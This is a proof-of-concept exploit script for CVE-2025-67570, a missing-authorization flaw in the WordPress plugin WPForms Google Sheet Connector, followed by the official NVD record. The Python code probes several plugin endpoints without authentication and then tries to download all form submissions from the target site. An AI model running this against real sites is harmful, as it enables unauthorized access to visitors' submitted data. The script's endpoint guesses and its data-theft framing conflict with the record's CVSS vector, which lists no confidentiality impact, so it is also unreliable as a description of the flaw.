CVE-2025-67570

# CVE-2025-67570 PoC - Missing Authorization in WPForms Google Sheet Connector # Affected: WPForms Google Sheet Connector <= 4.0.0 import requests import json target_url = "http://target-wordpress-site.com" # PoC 1: Enumerate plugin endpoints endpoints = [ "/wp-json/gsheetconnector/v1/data", "/wp-json/gsheetconnector/v1/sheets", "/wp-json/gsheetconnector/v1/forms", "/wp-json/gsheetconnector/v1/config", "/wp-admin/admin-ajax.php?action=gsheetconnector_get_data" ] print("[*] Testing CVE-2025-67570 - Missing Authorization in WPForms Google Sheet Connector") print("[*] Target:", target_url) print("-" * 60) for endpoint in endpoints: url = target_url + endpoint try: # No authentication required - this is the vulnerability response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] VULNERABLE ENDPOINT FOUND: {endpoint}") print(f"[+] Status: {response.status_code}") try: data = response.json() print(f"[+] Response Data: {json.dumps(data, indent=2)[:500]}") except: print(f"[+] Response: {response.text[:500]}") print() else: print(f"[-] Endpoint {endpoint} returned status {response.status_code}") except requests.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") # PoC 2: Try to access all form submissions print("\n[*] Attempting to access all form submissions without authentication...") forms_url = target_url + "/wp-json/gsheetconnector/v1/all-submissions" response = requests.get(forms_url, timeout=10) if response.status_code == 200: print("[+] VULNERABLE: All form submissions accessible without auth!") print(f"[+] Data preview: {response.text[:1000]}")

{"cve": {"id": "CVE-2025-67570", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:33.963", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in WesternDeal WPForms Google Sheet Connector gsheetconnector-wpforms allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPForms Google Sheet Connector: from n/a through <= 4.0.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/gsheetconnector-wpforms/vulnerability/wordpress-wpforms-google-sheet-connector-plugin-4-0-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}